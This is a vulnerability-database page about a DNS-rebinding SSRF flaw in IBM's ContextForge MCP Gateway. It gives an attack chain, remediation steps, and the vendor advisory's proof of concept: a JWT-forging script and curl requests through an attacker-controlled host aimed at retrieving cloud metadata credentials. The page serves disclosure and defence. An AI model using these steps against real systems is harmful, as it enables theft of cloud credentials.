Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconObtain database-backed gateways.read JWT
-
DeliveryRegister attacker-controlled domain with 1-second TTL resolving to public IP
-
ExploitPOST hostname URL to /admin/gateways/test
-
InstallValidator resolves public IP, all SSRF checks pass
-
C2Flip DNS record to 169.254.169.254 before httpx connects
-
Executehttpx re-resolves and establishes connection to cloud IMDS
-
ImpactIMDS response with IAM role credentials returned to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V6 - Authentication DNS-independent verification
|
| Exploitation Conditions | Two explicit prerequisites are required. First, the operator must have set |
| Impact | The vendor-assigned CVSS 6.6 (AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N) accurately reflects real-world exploitation difficulty: AC:H captures the DNS rebinding timing requirement (attacker must control a DNS server, set a 1-second TTL, and flip the record within the window between validation and connection), and PR:H captures the mandatory database-backed |
| Exploit ScenarioDerived | An attacker holding a valid JWT for an account with a database-backed |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 14, 2026
SSRF protection in IBM ContextForge MCP Gateway (mcp-contextforge-gateway) is bypassable via DNS rebinding against the /admin/gateways/test endpoint, allowing an attacker with a database-backed gateways.read role to reach cloud instance metadata services (including 169.254.169.254) and internal network resources. The root cause is a TOCTOU race between the hostname validation step - which resolves DNS via socket.getaddrinfo() and checks the result against blocked private ranges - and the httpx-based HTTP client's fully independent DNS re-resolution at connection time, with no IP-pinning or validated-address forwarding bridging the two operations. A detailed proof-of-concept is published in GitHub Security Advisory GHSA-9hgc-g3w5-67cm; the vendor confirmed the fix in release v1.0.3 (2026-06-10); no CISA KEV listing is present at time of analysis.
RemediationAI
The primary remediation is to upgrade mcp-contextforge-gateway to version 1.0.3 or later, which closes the TOCTOU gap tracked as TODO ICACF-15; release details are at https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.3 and the advisory at https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-9hgc-g3w5-67cm. For operators who cannot immediately upgrade, the most effective compensating control is to set MCPGATEWAY_ADMIN_API_ENABLED=false (which is the default), disabling the /admin/gateways/test endpoint entirely and eliminating the attack surface at the cost of gateway connectivity testing functionality. If the admin API must remain enabled, restrict gateways.read role assignment to the minimum necessary accounts and enforce network-level egress filtering at the host or container network policy layer to block outbound connections to RFC-1918 ranges and 169.254.169.254 - this prevents httpx from successfully reaching internal services even when DNS rebinding succeeds. Critically, the application-layer controls ssrf_blocked_networks and ssrf_dns_fail_closed do NOT protect against the DNS rebinding path as they operate only at validation time; they must not be treated as compensating controls for this vulnerability.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the Python package mcp-contextforge-gateway on PyPI (CPE: pkg:pip/mcp-contextforge-gateway), IBM's Model Context Protocol gateway service. The flaw is in validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527-1710), which calls socket.getaddrinfo() to resolve the submitted hostname, checks the result against blocked ranges (169.254.169.254/32, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, loopback, and link-local), and accepts the URL if clean. The validated URL is then forwarded to ResilientHttpClient (backed by httpx) as the original hostname string - not the validated IP - triggering a second, fully independent DNS lookup at connection time. CWE-350 (Reliance on Reverse DNS Resolution for a Security-Critical Action) precisely captures this class: security enforcement applied to one DNS resolution provides no guarantee over a subsequent re-resolution. The configuration options ssrf_blocked_networks and ssrf_dns_fail_closed operate exclusively on the validation-time resolution and are therefore bypassed by the rebinding. The source code documents the gap in two locations, including a named internal ticket (ICACF-15), confirming maintainers treated this as a tracked open defect before disclosure.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N
Requires attacker-controlled DNS with rebinding timing and a database-provisioned high-privilege credential, justifying AC:H and PR:H; cloud IMDS access constitutes a scope change with high confidentiality impact.
Primary rating from Vendor (https://github.com/IBM/mcp-context-forge).
CVSS VectorVendor: https://github.com/IBM/mcp-context-forge
DescriptionCVE.org
Summary
The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.
Details
validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527-1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.
The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:
- The validated IP address is never passed to the HTTP client.
- Only the original hostname is forwarded, triggering a second independent lookup.
- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is
implemented.
The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.
Two independent acknowledgements in the source code
Location 1 - mcpgateway/common/validators.py, lines 1537-1543 (function docstring of validate_gateway_test_url):
> "DNS TOCTOU Limitation: This validation resolves DNS at validation time, but > the HTTP client will re-resolve DNS at connection time. An attacker controlling > DNS can return a public IP during validation and a private IP during connection > (DNS rebinding). True mitigation requires pinning the validated IP into the > connection (custom resolver/transport, or IP allowlist check at connect > callback). This is tracked as a known limitation for future improvement."
Location 2 - mcpgateway/admin.py, lines 14025-14029 (call site comment):
> "TODO(ICACF-15): DNS rebinding risk - allowlist and SSRF checks resolve DNS, > but the actual ResilientHttpClient request resolves DNS a third time. An > attacker-controlled DNS server could return a public IP during validation and a > private IP during the actual request. Consider pinning the resolved IP for > outbound requests (custom transport) or caching DNS resolution across > validation and request phases."
The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.
Prerequisites
MCPGATEWAY_ADMIN_API_ENABLED=true(not the default; must be explicitly
enabled by an operator).
- The attacker holds a credential with explicit
gateways.readpermission
assigned via a database role.
Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) - a virtual identity with no database record - is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.
Proof of Concept
Setup
cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5Step 1 - Obtain a token for an account with database role assignment
The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:
import datetime, jwt, uuid
SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL = "admin@example.com"
# must have platform_admin role in DB
now = datetime.datetime.now(datetime.timezone.utc)
payload = {
"sub": EMAIL,
"aud": "mcpgateway-api",
"iss": "mcpgateway",
"jti": str(uuid.uuid4()),
"iat": now,
"exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")TOKEN=$(python3 /tmp/gen_token.py)Step 2 - Baseline control: direct private IP is rejected
Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:
curl -s -w "\nHTTP %{http_code}\n" \
-X POST http://127.0.0.1:8000/admin/gateways/test \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 - "Invalid gateway URL"Step 3 - DNS rebinding attack
- Attacker controls DNS for
attacker.example.comwith TTL set to 1 second. - Initial record:
attacker.example.com → 1.2.3.4(any public IP). - Submit the request:
curl -s -w "\nHTTP %{http_code}\n" \
-X POST http://127.0.0.1:8000/admin/gateways/test \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'validate_gateway_test_url()resolvesattacker.example.com → 1.2.3.4;
all SSRF checks pass.
- Attacker immediately flips the DNS record:
attacker.example.com → 169.254.169.254.
httpxindependently re-resolves the hostname and connects to
169.254.169.254.
- The gateway returns the IMDS response body to the caller.
Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.
Impact
Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.
Suggested Fix
After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-77591
GHSA-9hgc-g3w5-67cm
NVD
CVE.org
EPSS
Exploit-DB